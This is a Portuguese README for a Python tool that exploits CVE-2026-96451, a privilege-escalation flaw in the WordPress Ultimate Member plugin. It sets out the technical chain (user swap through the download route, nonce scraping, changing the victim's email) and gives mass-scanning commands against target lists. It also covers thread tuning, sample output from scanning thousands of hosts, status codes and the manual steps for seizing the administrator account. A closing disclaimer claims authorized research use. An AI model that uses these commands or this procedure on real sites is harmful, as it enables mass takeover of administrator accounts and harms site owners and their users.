
Exploit em Python para CVE-2026-96451 no WordPress Ultimate Member <= 2.13.1: automatiza o registro, a coleta de nonce e a tomada de conta por alteração de e-mail em listas de alvos.
Plugin Ultimate Member do WordPress <= 2.13.1 - Vulnerabilidade de escalonamento de privilégios
Ultimate Member <= 2.13.1 — Escalonamento de Privilégios / Tomada de Conta
📌 Registo oficial: CVE-2026-96451
De CVE.org:
Vulnerabilidade de contorno de autorização através de chave controlada pelo utilizador no Ultimate Member Ultimate Member ultimate-member permite escalonamento de privilégios. Este problema afeta o Ultimate Member: de n/a até 2.13.1.
| Campo | Valor |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — Contorno de Autorização Através de Chave Controlada pelo Utilizador |
| 📊 CVSS 3.1 | 8.8 ALTO AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 Atribuidor | Patchstack |
| ⚠️ Afetado | Ultimate Member até 2.13.1 |
| ✅ Corrigido | 2.14.0 |
Um subscritor autenticado pode alterar o email de outro utilizador (normalmente o administrador). O WordPress aceita então uma redefinição de palavra-passe para essa nova caixa de correio.
um_fetch_user($user_id) e muda o utilizador global para o ID presente no URL.download_routing() retorna sem um_reset_user()._um_account=1, user_email=...).account_submit() lê um_user('ID') — agora a vítima — e escreve o novo email.O nonce de download é wp_create_nonce($user_id . $form_id . 'um-download-nonce'). Está associado a esse ID de utilizador. Não pode ser inventado. O script copia-o a partir de um link visível /um-download/{form}/{field}/{user}/{nonce}/.
Um campo personalizado do tipo file ou image tem de estar visível no perfil. As fotografias de perfil/capa incorporadas não produzem este link.
pip install requests rich
O registro, login, coleta de nonce, exploit e verificação de reset são automáticos. Você não cria contas manualmente e não passa uma senha de assinante para uma varredura em massa.
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
O que este comando faz em cada host:
/account//um-download/ visível (prefere o ID de utilizador 1, depois qualquer membro com um ficheiro)--emailwp-login.php?action=lostpassword (o WordPress não precisa de nonce aqui)um_takeover.txt--email é a caixa de correio colocada na conta alvo para que possa receber a reposição. O script não abre a caixa de entrada nem define uma nova palavra-passe. Esse último passo é manual.
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| Flag | Finalidade | Padrão |
|---|---|---|
-l / --list | Arquivo de alvos | — |
-u / --url | Um alvo | — |
-t / --threads | Workers | 10 |
-o / --output | Arquivo de resultados | um_takeover.txt |
--email | Caixa de correio gravada na vítima | gerado automaticamente |
--target-id | ID de usuário preferido | 1 |
--user / --password | Usar um assinante existente em vez de registrar | desativado |
-v / --verbose | Imprimir cada etapa | desativado |
Em uma máquina RDP lenta, 80–150 threads é suficiente. Uma varredura de lista dá a cada host cerca de 22 segundos.
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| Código | Significado |
|---|---|
RST / CHG | E-mail alterado e/ou redefinição aceita — verifique a caixa de entrada |
UM | Ultimate Member detectado |
REG | O autorregistro criou uma sessão |
rf | Sem formulário público, CAPTCHA, aprovação ou ativação por e-mail |
lf | Registrado, mas o login falhou |
na | Página de conta / nonce ausente |
nd | Nenhum nonce de download visível (sem campo de arquivo personalizado) |
nc | Exploit enviado, alteração não confirmada |
no | Não é Ultimate Member |
REG_FAIL em muitos hosts é normal. A cadeia só continua onde o registro cria uma sessão e um link de download está visível.
Quando RST ou CHG aparecer:
--email/wp-login.php ou /wp-admin/Este projeto destina-se apenas a pesquisa de segurança autorizada — sistemas que você possui ou para os quais tem permissão por escrito para testar.
O acesso não autorizado a sistemas de computador é ilegal. O autor não assume qualquer responsabilidade por uso indevido, danos ou qualquer consequência deste software. Você é o único responsável pela forma como ele é usado e por cada alvo que escaneia.
Por: Nxploited ( Khaled Alenazi )